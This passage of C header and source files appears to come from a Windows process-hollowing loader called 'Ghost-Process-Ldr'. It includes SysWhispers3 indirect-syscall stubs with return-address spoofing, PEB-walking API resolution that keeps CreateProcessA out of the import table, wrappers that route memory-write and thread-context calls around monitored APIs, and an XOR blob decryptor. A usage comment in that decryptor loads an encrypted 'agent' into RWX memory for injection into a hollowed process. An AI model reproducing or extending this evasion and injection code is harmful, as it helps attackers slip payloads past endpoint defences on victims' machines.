        if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break;
    }

    if (!ExportDirectory) return FALSE;

    DWORD NumberOfNames = ExportDirectory->NumberOfNames;
    PDWORD Functions = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
    PDWORD Names = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
    PWORD Ordinals = SW3_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);

    // Populate SW3_SyscallList with unsorted Zw* entries.
    DWORD i = 0;
    PSW3_SYSCALL_ENTRY Entries = SW3_SyscallList.Entries;
    do
    {
        PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);

        // Is this a system call?
        if (*(USHORT*)FunctionName == 0x775a)
        {
            Entries[i].Hash = SW3_HashSyscall(FunctionName);
            Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];
            Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address));

            i++;
            if (i == SW3_MAX_ENTRIES) break;
        }
    } while (--NumberOfNames);

    // Save total number of system calls found.
    SW3_SyscallList.Count = i;

    // Sort the list by address in ascending order.
    for (DWORD i = 0; i < SW3_SyscallList.Count - 1; i++)
    {
        for (DWORD j = 0; j < SW3_SyscallList.Count - i - 1; j++)
        {
            if (Entries[j].Address > Entries[j + 1].Address)
            {
                // Swap entries.
                SW3_SYSCALL_ENTRY TempEntry;

                TempEntry.Hash = Entries[j].Hash;
                TempEntry.Address = Entries[j].Address;
                TempEntry.SyscallAddress = Entries[j].SyscallAddress;

                Entries[j].Hash = Entries[j + 1].Hash;
                Entries[j].Address = Entries[j + 1].Address;
                Entries[j].SyscallAddress = Entries[j + 1].SyscallAddress;

                Entries[j + 1].Hash = TempEntry.Hash;
                Entries[j + 1].Address = TempEntry.Address;
                Entries[j + 1].SyscallAddress = TempEntry.SyscallAddress;
            }
        }
    }

    return TRUE;
}

EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash)
{
    // Ensure SW3_SyscallList is populated.
    if (!SW3_PopulateSyscallList()) return -1;

    for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
    {
        if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
        {
            return i;
        }
    }

    return -1;
}

EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash)
{
    // Ensure SW3_SyscallList is populated.
    if (!SW3_PopulateSyscallList()) return NULL;

    for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
    {
        if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
        {
            return SW3_SyscallList.Entries[i].SyscallAddress;
        }
    }

    return NULL;
}

EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash)
{
    // Ensure SW3_SyscallList is populated.
    if (!SW3_PopulateSyscallList()) return NULL;

    DWORD index = ((DWORD) rand()) % SW3_SyscallList.Count;

    while (FunctionHash == SW3_SyscallList.Entries[index].Hash){
        // Spoofing the syscall return address
        index = ((DWORD) rand()) % SW3_SyscallList.Count;
    }
    return SW3_SyscallList.Entries[index].SyscallAddress;
}

Structs.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#pragma once
#ifndef STRUCTS_H
#define STRUCTS_H

#include <Windows.h>

// ─── Basic macros ─────────────────────────────────────────────────────────────
#ifndef STATUS_SUCCESS
#define STATUS_SUCCESS          0x00000000
#endif

#ifndef NtCurrentProcess
#define NtCurrentProcess()      ((HANDLE)-1)
#endif

#ifndef NtCurrentThread
#define NtCurrentThread()       ((HANDLE)-2)
#endif

#ifndef NT_SUCCESS
#define NT_SUCCESS(STATUS)      (((NTSTATUS)(STATUS)) >= STATUS_SUCCESS)
#endif

// ─── FILE_DISPOSITION_INFORMATION (needed for delete-on-close) ────────────────
typedef struct _FILE_DISPOSITION_INFORMATION {
    BOOLEAN DeleteFile;
} FILE_DISPOSITION_INFORMATION, * PFILE_DISPOSITION_INFORMATION;

// ─── Minimal PEB ──────────────────────────────────────────────────────────────
typedef struct _PEB {
    BOOLEAN InheritedAddressSpace;
    BOOLEAN ReadImageFileExecOptions;
    BOOLEAN BeingDebugged;
    BOOLEAN Spare;
    HANDLE  Mutant;
    PVOID   ImageBase;                 
    PVOID   LoaderData;
    PVOID   ProcessParameters;         
} PEB, * PPEB;

// ─── PROCESS_BASIC_INFORMATION ────────────────────────────────────────────────
typedef LONG KPRIORITY;

typedef struct _PROCESS_BASIC_INFORMATION {
    NTSTATUS ExitStatus;
    PPEB     PebBaseAddress;
    ULONG_PTR AffinityMask;
    KPRIORITY BasePriority;
    ULONG_PTR UniqueProcessId;
    ULONG_PTR InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, * PPROCESS_BASIC_INFORMATION;

// ─── Full RTL_USER_PROCESS_PARAMETERS ─────────────────────────────────────────
#define RTL_MAX_DRIVE_LETTERS 32

typedef struct _RTL_DRIVE_LETTER_CURDIR {
    USHORT Flags;
    USHORT Length;
    ULONG  TimeStamp;
    UNICODE_STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR;

typedef struct _CURDIR {
    UNICODE_STRING DosPath;
    HANDLE Handle;
} CURDIR, * PCURDIR;

typedef struct _RTL_USER_PROCESS_PARAMETERS {
    ULONG MaximumLength;
    ULONG Length;
    ULONG Flags;
    ULONG DebugFlags;
    HANDLE ConsoleHandle;
    ULONG ConsoleFlags;
    HANDLE StandardInput;
    HANDLE StandardOutput;
    HANDLE StandardError;
    CURDIR CurrentDirectory;
    UNICODE_STRING DllPath;
    UNICODE_STRING ImagePathName;
    UNICODE_STRING CommandLine;
    PVOID Environment;     
    ULONG StartingX;
    ULONG StartingY;
    ULONG CountX;
    ULONG CountY;
    ULONG CountCharsX;
    ULONG CountCharsY;
    ULONG FillAttribute;
    ULONG WindowFlags;
    ULONG ShowWindowFlags;
    UNICODE_STRING WindowTitle;
    UNICODE_STRING DesktopInfo;
    UNICODE_STRING ShellInfo;
    UNICODE_STRING RuntimeData;
    RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS];
    ULONG_PTR EnvironmentSize;      
    ULONG_PTR EnvironmentVersion;
    PVOID PackageDependencyData;
    ULONG ProcessGroupId;
    ULONG LoaderThreads;
} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;

// ─── Flags ────────────────────────────────────────────────────────────────────
#define RTL_USER_PROC_PARAMS_NORMALIZED  0x00000001
#define PS_INHERIT_HANDLES               4

#define FILE_SUPERSEDE                   0x00000000
#define FILE_SYNCHRONOUS_IO_NONALERT     0x00000020
#define OBJ_CASE_INSENSITIVE             0x00000040L

// ─── RtlCreateProcessParametersEx ─────────────────────────────────────────────
typedef NTSTATUS(NTAPI* fnRtlCreateProcessParametersEx)(
    PRTL_USER_PROCESS_PARAMETERS* pProcessParameters,
    PUNICODE_STRING ImagePathName,
    PUNICODE_STRING DllPath,
    PUNICODE_STRING CurrentDirectory,
    PUNICODE_STRING CommandLine,
    PVOID Environment,
    PUNICODE_STRING WindowTitle,
    PUNICODE_STRING DesktopInfo,
    PUNICODE_STRING ShellInfo,
    PUNICODE_STRING RuntimeData,
    ULONG Flags
    );

#endif // !STRUCTS_H

api_resolve.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
/*
 * api_resolve.h — runtime API resolution via PEB export-table walking
 *
 * Resolves CreateProcessA at runtime so it never appears in the IAT.
 *
 * How it works:
 *   1. Walk PEB.Ldr.InMemoryOrderModuleList to locate the kernel32.dll base.
 *   2. Parse its PE export directory and match exports by djb2 name hash.
 *   3. Store the result in a WIN32_APIS struct.
 *   4. The #define macro at the bottom shadows the __declspec(dllimport)
 *      declaration from <windows.h> — the call site goes through the
 *      function pointer, never through the import thunk.
 *
 * Usage:
 *   - #include "api_resolve.h" AFTER <windows.h>
 *   - Declare one global:  static WIN32_APIS g_Api = { 0 };
 *   - Call ResolveApis(&g_Api) once at the top of main() before anything else.
 */

#pragma once

#include <windows.h>
#include <stdint.h>

 /* ══════════════════════════════════════════════════════════════════
  *  Internal PEB / LDR structures
  *  Defined locally so we do not depend on winternl.h
  * ══════════════════════════════════════════════════════════════════ */

typedef struct _APIR_UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} APIR_UNICODE_STRING;

typedef struct _APIR_PEB_LDR {
    ULONG      Length;
    BOOL       Initialized;
    HANDLE     SsHandle;
    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;     // <- entry point for our walk
} APIR_PEB_LDR, * PAPIR_PEB_LDR;

typedef struct _APIR_LDR_ENTRY {
    LIST_ENTRY          InLoadOrderLinks;        // +0x000
    LIST_ENTRY          InMemoryOrderLinks;      // +0x010  <- list we follow
    LIST_ENTRY          InInitOrderLinks;        // +0x020
    PVOID               DllBase;                 // +0x030
    PVOID               EntryPoint;              // +0x038
    ULONG               SizeOfImage;             // +0x040
    ULONG               _pad;
    APIR_UNICODE_STRING FullDllName;             // +0x048
    APIR_UNICODE_STRING BaseDllName;             // +0x058
} APIR_LDR_ENTRY, * PAPIR_LDR_ENTRY;

typedef struct _APIR_PEB {
    BYTE          Reserved1[2];
    BYTE          BeingDebugged;
    BYTE          Reserved2[1];
    PVOID         Reserved3[2];
    PAPIR_PEB_LDR Ldr;
} APIR_PEB, * PAPIR_PEB;

/* ══════════════════════════════════════════════════════════════════
 *  Pre-computed djb2 hashes (case-insensitive, generated offline)
 *  No API name strings appear in the binary — only these constants.
 * ══════════════════════════════════════════════════════════════════ */

#define APIR_HASH_KERNEL32          0x3E003875UL
#define APIR_HASH_CREATEPROCESSA    0x75B7492BUL

 /* ══════════════════════════════════════════════════════════════════
  *  Function pointer typedef
  * ══════════════════════════════════════════════════════════════════ */

typedef BOOL(WINAPI* pfn_CreateProcessA)(
    LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES,
    LPSECURITY_ATTRIBUTES, BOOL, DWORD,
    LPVOID, LPCSTR, LPSTARTUPINFOA,
    LPPROCESS_INFORMATION);

/* ══════════════════════════════════════════════════════════════════
 *  Resolved API struct
 * ══════════════════════════════════════════════════════════════════ */

typedef struct _WIN32_APIS {
    pfn_CreateProcessA pCreateProcessA;
} WIN32_APIS, * PWIN32_APIS;

/* ══════════════════════════════════════════════════════════════════
 *  _apir_hash  — djb2, case-insensitive ASCII
 * ══════════════════════════════════════════════════════════════════ */
static __forceinline uint32_t _apir_hash(const char* s)
{
    uint32_t h = 5381;
    char c;
    while ((c = *s++)) {
        if (c >= 'A' && c <= 'Z') c |= 0x20;
        h = ((h << 5) + h) ^ (uint32_t)(unsigned char)c;
    }
    return h;
}

/* ══════════════════════════════════════════════════════════════════
 *  _apir_whash  — djb2 over a UNICODE_STRING buffer (low byte only)
 * ══════════════════════════════════════════════════════════════════ */
static __forceinline uint32_t _apir_whash(const WCHAR* buf, USHORT byte_len)
{
    uint32_t h = 5381;
    USHORT   n = byte_len / sizeof(WCHAR);
    for (USHORT i = 0; i < n; i++) {
        unsigned char c = (unsigned char)(buf[i] & 0xFF);
        if (c >= 'A' && c <= 'Z') c |= 0x20;
        h = ((h << 5) + h) ^ c;
    }
    return h;
}

/* ══════════════════════════════════════════════════════════════════
 *  _apir_find_module
 *  Walk PEB.Ldr.InMemoryOrderModuleList and return the DllBase
 *  of the module whose BaseDllName hashes to mod_hash.
 * ══════════════════════════════════════════════════════════════════ */
static __forceinline PVOID _apir_find_module(uint32_t mod_hash)
{
    // x64: PEB pointer lives at GS:[0x60]
    PAPIR_PEB pPeb = (PAPIR_PEB)__readgsqword(0x60);
    PAPIR_PEB_LDR pLdr = pPeb->Ldr;

    LIST_ENTRY* pHead = &pLdr->InMemoryOrderModuleList;
    LIST_ENTRY* pCurr = pHead->Flink;

    while (pCurr != pHead) {
        PAPIR_LDR_ENTRY pEntry = CONTAINING_RECORD(pCurr, APIR_LDR_ENTRY, InMemoryOrderLinks);

        if (pEntry->BaseDllName.Buffer && pEntry->BaseDllName.Length) {
            if (_apir_whash(pEntry->BaseDllName.Buffer, pEntry->BaseDllName.Length) == mod_hash)
                return pEntry->DllBase;
        }
        pCurr = pCurr->Flink;
    }
    return NULL;
}

/* ══════════════════════════════════════════════════════════════════
 *  _apir_find_export
 *  Parse the PE export directory of pBase and return the VA of the
 *  export whose name hashes to fn_hash.
 * ══════════════════════════════════════════════════════════════════ */
static __forceinline PVOID _apir_find_export(PVOID pBase, uint32_t fn_hash)
{
    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBase;
    PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((ULONG_PTR)pBase + pDos->e_lfanew);

    DWORD expRva = pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    if (!expRva) return NULL;

    PIMAGE_EXPORT_DIRECTORY pExp =
        (PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)pBase + expRva);

    PDWORD pNames = (PDWORD)((ULONG_PTR)pBase + pExp->AddressOfNames);
    PWORD  pOrdinals = (PWORD)((ULONG_PTR)pBase + pExp->AddressOfNameOrdinals);
    PDWORD pFuncs = (PDWORD)((ULONG_PTR)pBase + pExp->AddressOfFunctions);

    for (DWORD i = 0; i < pExp->NumberOfNames; i++) {
        const char* name = (const char*)((ULONG_PTR)pBase + pNames[i]);
        if (_apir_hash(name) == fn_hash) {
            DWORD rva = pFuncs[pOrdinals[i]];
            return (PVOID)((ULONG_PTR)pBase + rva);
        }
    }
    return NULL;
}

/* ══════════════════════════════════════════════════════════════════
 *  ResolveApis
 *  Resolve CreateProcessA in one call. Call once at the top of main().
 * ══════════════════════════════════════════════════════════════════ */
static __forceinline BOOL ResolveApis(PWIN32_APIS pApi)
{
    if (!pApi) return FALSE;

    PVOID pK32 = _apir_find_module(APIR_HASH_KERNEL32);
    if (!pK32) return FALSE;

#define _RESOLVE(field, hash) \
    pApi->field = (void*)_apir_find_export(pK32, hash); \
    if (!pApi->field) return FALSE;

    _RESOLVE(pCreateProcessA, APIR_HASH_CREATEPROCESSA)

#undef _RESOLVE
        return TRUE;
}

/* ══════════════════════════════════════════════════════════════════
 *  Shadow macro — CreateProcessA only.
 * ══════════════════════════════════════════════════════════════════ */
#define CreateProcessA  g_Api.pCreateProcessA

blob_crypt.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
/*
 * blob_crypt.h — runtime decryption of an arbitrary binary blob
 *
 * Pair with blob_crypt_key.h generated by blob_encryptor.py.
 * No CRT dependency; uses only HeapAlloc / GetProcessHeap.
 *
 * Typical flow
 * ──────────────────────────────────────────────────────────────
 *  1. blob_encryptor.py agent.bin out/
 *       -> out/agent_enc.bin   (embed as RCDATA in .rsrc)
 *       -> out/blob_crypt_key.h
 *  2. In your .rc:
 *       IDR_AGENT  AGENTBIN  "agent_enc.bin"
 *  3. At runtime: BlobDecryptFromResource() -> RWX mapping -> hollow
 */

#pragma once

#include <windows.h>
#include <stdint.h>


 /* ══════════════════════════════════════════════════════════════════
  *  Keystream generator — SplitMix64 finalizer seeded by block index.
  *  Identical to ptr_crypt.h :: _ptrc_mix(); shared mixing function.
  * ══════════════════════════════════════════════════════════════════ */
static __forceinline uint64_t
_blobc_mix(uint64_t key, uint64_t idx)
{
    uint64_t x = key ^ (idx * 0x9E3779B97F4A7C15ULL);
    x = (x ^ (x >> 30)) * 0xBF58476D1CE4E5B9ULL;
    x = (x ^ (x >> 27)) * 0x94D049BB133111EBULL;
    return x ^ (x >> 31);
}


/* ══════════════════════════════════════════════════════════════════
 *  BlobDecryptInPlace
 *  ──────────────────────────────────────────────────────────────
 *  XOR-decrypt a buffer in-place.
 *  (XOR cipher: encrypt == decrypt, same function both ways.)
 *
 *  buf   : writable buffer containing encrypted bytes
 *  size  : byte length  (BLOB_SIZE from blob_crypt_key.h)
 *  key   : BLOB_KEY from blob_crypt_key.h
 * ══════════════════════════════════════════════════════════════════ */
static __forceinline void
BlobDecryptInPlace(uint8_t* buf, SIZE_T size, uint64_t key)
{
    SIZE_T   full = size / 8;
    SIZE_T   tail = size % 8;
    uint64_t ks;

    /* full 8-byte blocks */
    for (SIZE_T i = 0; i < full; i++) {
        ks = _blobc_mix(key, (uint64_t)i);
        /* write back as little-endian bytes — portable, no alignment req */
        uint8_t* p = buf + i * 8;
        p[0] ^= (uint8_t)(ks);
        p[1] ^= (uint8_t)(ks >> 8);
        p[2] ^= (uint8_t)(ks >> 16);
        p[3] ^= (uint8_t)(ks >> 24);
        p[4] ^= (uint8_t)(ks >> 32);
        p[5] ^= (uint8_t)(ks >> 40);
        p[6] ^= (uint8_t)(ks >> 48);
        p[7] ^= (uint8_t)(ks >> 56);
    }

    /* trailing partial block */
    if (tail) {
        ks = _blobc_mix(key, (uint64_t)full);
        uint8_t* p = buf + full * 8;
        for (SIZE_T b = 0; b < tail; b++)
            p[b] ^= (uint8_t)(ks >> (b * 8));
    }
}


/* ══════════════════════════════════════════════════════════════════
 *  BlobDecryptFromResource
 *  ──────────────────────────────────────────────────────────────
 *  Load the encrypted blob from an RCDATA resource, copy it to a
 *  writable heap buffer, decrypt in-place, and return the buffer.
 *
 *  hModule   : module with the resource (NULL = current image)
 *  rsrcId    : MAKEINTRESOURCEW(IDR_AGENT)
 *  rsrcType  : resource type, e.g. L"AGENTBIN"
 *  key       : BLOB_KEY from blob_crypt_key.h
 *  outSize   : receives byte count of the decrypted buffer (may be NULL)
 *
 *  Returns   : heap buffer with plaintext blob.
 *              HeapFree(GetProcessHeap(), 0, ptr) when done.
 *              Returns NULL on any failure.
 *
 *  NOTE: the returned buffer is plain heap memory (RW).
 *        For shellcode you need to VirtualAlloc RWX separately —
 *        see the usage comment at the bottom of this file.
 * ══════════════════════════════════════════════════════════════════ */
static __forceinline uint8_t*
BlobDecryptFromResource(HMODULE  hModule,
    LPCWSTR  rsrcId,
    LPCWSTR  rsrcType,
    uint64_t key,
    SIZE_T* outSize)
{
    HRSRC   hRes = FindResourceW(hModule, rsrcId, rsrcType);
    if (!hRes)  return NULL;

    DWORD   dwSz = SizeofResource(hModule, hRes);
    HGLOBAL hGlob = LoadResource(hModule, hRes);
    if (!hGlob) return NULL;

    const uint8_t* src = (const uint8_t*)LockResource(hGlob);
    if (!src)   return NULL;

    /* writable copy — resource mapping is read-only */
    uint8_t* buf = (uint8_t*)HeapAlloc(
        GetProcessHeap(), 0, (SIZE_T)dwSz);
    if (!buf) return NULL;

    CopyMemory(buf, src, dwSz);
    BlobDecryptInPlace(buf, (SIZE_T)dwSz, key);

    if (outSize) *outSize = (SIZE_T)dwSz;
    return buf;
}


/*
 * ── .rc snippet ──────────────────────────────────────────────────
 *
 *   // resource.h
 *   #define IDR_AGENT  102
 *
 *   // resources.rc
 *   #include "resource.h"
 *   IDR_AGENT  AGENTBIN  "agent_enc.bin"
 *
 *
 * ── usage: decrypt + copy to RWX page (shellcode) ────────────────
 *
 *   #include "blob_crypt.h"
 *   #include "blob_crypt_key.h"   // generated by blob_encryptor.py
 *   #include "resource.h"
 *
 *   SIZE_T   sz  = 0;
 *   uint8_t *buf = BlobDecryptFromResource(
 *       NULL,
 *       MAKEINTRESOURCEW(IDR_AGENT),
 *       L"AGENTBIN",
 *       BLOB_KEY,
 *       &sz);
 *
 *   if (!buf) { // handle error }
 *
 *   // Allocate executable memory and copy plaintext there
 *   LPVOID exec = VirtualAlloc(NULL, sz,
 *                     MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
 *   CopyMemory(exec, buf, sz);
 *
 *   // Wipe the plaintext heap buffer immediately
 *   SecureZeroMemory(buf, sz);
 *   HeapFree(GetProcessHeap(), 0, buf);
 *
 *   // exec now holds your plaintext agent — hand to hollow target
 *   // (WriteProcessMemory into the hollowed section, etc.)
 *
 *
 * ── usage: in-place decrypt of an already-mapped region ──────────
 *
 *   // If you VirtualAlloc'd and copied the encrypted blob yourself:
 *   BlobDecryptInPlace((uint8_t *)mappedAddr, BLOB_SIZE, BLOB_KEY);
 */

blob_crypt_key.h

1
2
3
4
5
6
// AUTO-GENERATED — do not commit to source control
#pragma once

#define BLOB_KEY   0x6E65C62CC5F8864EULL
#define BLOB_SIZE  105472UL

nt_wrappers.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
/*
 * nt_wrappers.h — Win32-to-Sw3Nt* bridge over SysWhispers3 indirect syscall stubs
 *
 * SysWhispers3 generated "syscalls-n0xshell.h" / "syscalls-n0xshell-asm.x64.asm"
 * with the Sw3 prefix. The Win32 API signatures differ from the Nt* signatures
 * (pointer-to-pointer base address, ULONG vs DWORD, etc.) — these thin inline
 * wrappers translate parameters, then shadow macros re-expose them under the
 * original Win32 names so hollow.c call sites need zero edits.
 *
 * Result:
 *   - VirtualAllocEx / WriteProcessMemory / VirtualProtectEx /
 *     GetThreadContext / SetThreadContext / ResumeThread
 *     are NOT in the IAT; call stacks show ntdll return addresses.
 *   - CreateProcessA stays in api_resolve.h (PEB-walk function pointer).
 *
 * Include order in hollow.c:
 *   #include <windows.h>
 *   #include <winternl.h>
 *   #include "api_resolve.h"          // CreateProcessA shadow — must be first
 *   #include "syscalls-n0xshell.h"    // SysWhispers3 Sw3Nt* declarations
 *   #include "nt_wrappers.h"          // this file — must follow syscalls header
 */

#pragma once

#include <windows.h>

 /* NT_SUCCESS guard — winternl.h provides it, but ensure it's always defined */
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif


/* ══════════════════════════════════════════════════════════════════
 *  VirtualAllocEx  →  Sw3NtAllocateVirtualMemory
 *
 *  Win32:  LPVOID VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress,
 *              SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
 *          Returns allocated VA on success, NULL on failure.
 *
 *  Nt*:    NTSTATUS Sw3NtAllocateVirtualMemory(
 *              HANDLE ProcessHandle, PVOID *BaseAddress, ULONG ZeroBits,
 *              PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect)
 * ══════════════════════════════════════════════════════════════════ */
static __forceinline LPVOID
_wrap_VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress,
    SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
{
    PVOID  base = lpAddress;
    SIZE_T region = dwSize;
    NTSTATUS st = Sw3NtAllocateVirtualMemory(
        hProcess, &base, 0, &region,
        (ULONG)flAllocationType, (ULONG)flProtect);
    return NT_SUCCESS(st) ? base : NULL;
}


/* ══════════════════════════════════════════════════════════════════
 *  WriteProcessMemory  →  Sw3NtWriteVirtualMemory
 *
 *  Win32:  BOOL WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress,
 *              LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten)
 *
 *  Nt*:    NTSTATUS Sw3NtWriteVirtualMemory(
 *              HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer,
 *              SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten OPTIONAL)
 * ══════════════════════════════════════════════════════════════════ */
static __forceinline BOOL
_wrap_WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress,
    LPCVOID lpBuffer, SIZE_T nSize,
    SIZE_T* lpNumberOfBytesWritten)
{
    NTSTATUS st = Sw3NtWriteVirtualMemory(
        hProcess, lpBaseAddress, (PVOID)lpBuffer,
        nSize, lpNumberOfBytesWritten);
    return NT_SUCCESS(st);
}


/* ══════════════════════════════════════════════════════════════════
 *  VirtualProtectEx  →  Sw3NtProtectVirtualMemory
 *
 *  Win32:  BOOL VirtualProtectEx(HANDLE hProcess, LPVOID lpAddress,
 *              SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
 *
 *  Nt*:    NTSTATUS Sw3NtProtectVirtualMemory(
 *              HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize,
 *              ULONG NewProtect, PULONG OldProtect)
 * ══════════════════════════════════════════════════════════════════ */
static __forceinline BOOL
_wrap_VirtualProtectEx(HANDLE hProcess, LPVOID lpAddress,
    SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
{
    PVOID  base = lpAddress;
    SIZE_T region = dwSize;
    ULONG  old = 0;
    NTSTATUS st = Sw3NtProtectVirtualMemory(
        hProcess, &base, &region, (ULONG)flNewProtect, &old);
    if (lpflOldProtect) *lpflOldProtect = (DWORD)old;
    return NT_SUCCESS(st);
}


/* ══════════════════════════════════════════════════════════════════
 *  GetThreadContext  →  Sw3NtGetContextThread
 *
 *  Win32:  BOOL GetThreadContext(HANDLE hThread, LPCONTEXT lpContext)
 *
 *  Nt*:    NTSTATUS Sw3NtGetContextThread(
 *              HANDLE ThreadHandle, PCONTEXT ThreadContext)
 * ══════════════════════════════════════════════════════════════════ */
static __forceinline BOOL
_wrap_GetThreadContext(HANDLE hThread, LPCONTEXT lpContext)
{
    NTSTATUS st = Sw3NtGetContextThread(hThread, lpContext);
    return NT_SUCCESS(st);
}


/* ══════════════════════════════════════════════════════════════════
 *  SetThreadContext  →  Sw3NtSetContextThread
 *
 *  Win32:  BOOL SetThreadContext(HANDLE hThread, const CONTEXT *lpContext)
 *
 *  Nt*:    NTSTATUS Sw3NtSetContextThread(
 *              HANDLE ThreadHandle, PCONTEXT Context)
 * ══════════════════════════════════════════════════════════════════ */
static __forceinline BOOL
_wrap_SetThreadContext(HANDLE hThread, const CONTEXT* lpContext)
{
    NTSTATUS st = Sw3NtSetContextThread(hThread, (PCONTEXT)lpContext);
    return NT_SUCCESS(st);
}


/* ══════════════════════════════════════════════════════════════════
 *  ResumeThread  →  Sw3NtResumeThread
 *
 *  Win32:  DWORD ResumeThread(HANDLE hThread)
 *          Returns previous suspend count, or (DWORD)-1 on error.
 *
 *  Nt*:    NTSTATUS Sw3NtResumeThread(
 *              HANDLE ThreadHandle, PULONG PreviousSuspendCount OPTIONAL)
 * ══════════════════════════════════════════════════════════════════ */
static __forceinline DWORD
_wrap_ResumeThread(HANDLE hThread)
{
    ULONG prev = 0;
    NTSTATUS st = Sw3NtResumeThread(hThread, &prev);
    return NT_SUCCESS(st) ? (DWORD)prev : (DWORD)-1;
}


/* ══════════════════════════════════════════════════════════════════
 *  Shadow macros — redirect Win32 call sites to the wrappers above.
 *  hollow.c call sites require zero edits.
 *
 *  NOTE: include this file AFTER "syscalls-n0xshell.h" (Sw3Nt* declarations)
 *        and AFTER "api_resolve.h" (CreateProcessA shadow already set there).
 * ══════════════════════════════════════════════════════════════════ */
#define VirtualAllocEx      _wrap_VirtualAllocEx
#define WriteProcessMemory  _wrap_WriteProcessMemory
#define VirtualProtectEx    _wrap_VirtualProtectEx
#define GetThreadContext    _wrap_GetThreadContext
#define SetThreadContext    _wrap_SetThreadContext
#define ResumeThread        _wrap_ResumeThread

resource.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//
// Microsoft Visual C++ generated include file.
// Used by Ghost-Process-Ldr.rc
//
#define IDR_N0XSHELL1                   101

// Next default values for new objects
// 
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE        102
